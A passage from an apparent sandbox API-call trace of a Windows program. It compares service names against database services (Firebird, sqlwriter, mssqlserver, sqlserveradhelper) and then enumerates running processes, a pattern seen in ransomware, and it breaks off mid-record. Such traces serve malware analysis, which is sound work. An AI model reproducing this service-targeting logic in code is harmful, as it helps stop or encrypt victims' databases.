(lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0292.187] lstrlenW (lpString="FontCache") returned 9 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0292.187] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0292.187] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0292.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0292.187] lstrlenW (lpString="gpsvc") returned 5 [0292.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0292.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0292.188] lstrlenW (lpString="iphlpsvc") returned 8 [0292.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0292.188] lstrlenW (lpString="KeyIso") returned 6 [0292.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0292.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0292.188] lstrlenW (lpString="LanmanServer") returned 12 [0292.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0292.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0292.188] lstrlenW (lpString="LanmanWorkstation") returned 17 [0292.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0292.188] lstrlenW (lpString="lfsvc") returned 5 [0292.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0292.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0292.188] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0292.188] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0292.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0292.189] lstrlenW (lpString="lmhosts") returned 7 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0292.189] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0292.189] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0292.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0292.189] lstrlenW (lpString="LSM") returned 3 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0292.189] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0292.189] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0292.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0292.189] lstrlenW (lpString="MpsSvc") returned 6 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0292.189] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0292.189] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0292.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0292.189] lstrlenW (lpString="NcbService") returned 10 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0292.189] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0292.189] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0292.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0292.189] lstrlenW (lpString="netprofm") returned 8 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0292.189] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0292.189] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0292.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0292.189] lstrlenW (lpString="NgcSvc") returned 6 [0292.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0292.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0292.190] lstrlenW (lpString="NlaSvc") returned 6 [0292.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0292.190] lstrlenW (lpString="nsi") returned 3 [0292.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0292.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0292.190] lstrlenW (lpString="PcaSvc") returned 6 [0292.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0292.190] lstrlenW (lpString="PlugPlay") returned 8 [0292.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0292.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0292.190] lstrlenW (lpString="Power") returned 5 [0292.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0292.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0292.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0292.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0292.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0292.191] lstrlenW (lpString="ProfSvc") returned 7 [0292.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0292.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0292.191] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0292.191] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0292.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0292.191] lstrlenW (lpString="RpcEptMapper") returned 12 [0292.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0292.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0292.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0292.191] lstrlenW (lpString="RpcSs") returned 5 [0292.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0292.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0292.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0292.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0292.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0292.191] lstrlenW (lpString="SamSs") returned 5 [0292.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0292.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0292.191] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0292.191] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0292.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0292.191] lstrlenW (lpString="Schedule") returned 8 [0292.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0292.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0292.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0292.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0292.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0292.191] lstrlenW (lpString="SecurityHealthService") returned 21 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0292.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0292.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0292.192] lstrlenW (lpString="SENS") returned 4 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0292.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0292.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0292.192] lstrlenW (lpString="ShellHWDetection") returned 16 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0292.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0292.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0292.192] lstrlenW (lpString="Spooler") returned 7 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0292.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0292.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0292.192] lstrlenW (lpString="SSDPSRV") returned 7 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0292.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0292.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0292.192] lstrlenW (lpString="StateRepository") returned 15 [0292.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0292.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0292.192] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0292.193] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0292.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0292.193] lstrlenW (lpString="SysMain") returned 7 [0292.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0292.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0292.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0292.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0292.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0292.193] lstrlenW (lpString="SystemEventsBroker") returned 18 [0292.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0292.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0292.193] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb0 | out: hHeap=0x6e0000) returned 1 [0292.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x50c [0292.196] Process32FirstW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.197] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.198] lstrlenW (lpString="System") returned 6 [0292.198] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.198] lstrlenW (lpString="smss.exe") returned 8 [0292.199] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.199] lstrlenW (lpString="csrss.exe") returned 9 [0292.199] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.200] lstrlenW (lpString="wininit.exe") returned 11 [0292.200] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.201] lstrlenW (lpString="csrss.exe") returned 9 [0292.201] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.201] lstrlenW (lpString="winlogon.exe") returned 12 [0292.201] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.202] lstrlenW (lpString="services.exe") returned 12 [0292.202] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.203] lstrlenW (lpString="lsass.exe") returned 9 [0292.203] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.203] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.203] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.204] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.204] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.205] lstrlenW (lpString="svchost.exe") returned 11 [0292.205] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.205] lstrlenW (lpString="svchost.exe") returned 11 [0292.205] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.206] lstrlenW (lpString="dwm.exe") returned 7 [0292.206] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.207] lstrlenW (lpString="svchost.exe") returned 11 [0292.207] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.207] lstrlenW (lpString="svchost.exe") returned 11 [0292.207] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.208] lstrlenW (lpString="svchost.exe") returned 11 [0292.208] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.209] lstrlenW (lpString="svchost.exe") returned 11 [0292.209] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.209] lstrlenW (lpString="svchost.exe") returned 11 [0292.210] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.210] lstrlenW (lpString="svchost.exe") returned 11 [0292.210] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.211] lstrlenW (lpString="svchost.exe") returned 11 [0292.211] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.212] lstrlenW (lpString="svchost.exe") returned 11 [0292.212] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.215] lstrlenW (lpString="svchost.exe") returned 11 [0292.215] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.215] lstrlenW (lpString="svchost.exe") returned 11 [0292.216] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.216] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.216] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.217] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.217] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0292.218] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0292.218] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0292.218] lstrlenW (lpString="Memory Compression") returned 18 [0292.218] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.219] lstrlenW (lpString="svchost.exe") returned 11 [0292.219] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.220] lstrlenW (lpString="audiodg.exe") returned 11 [0292.220] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.220] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0292.220] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 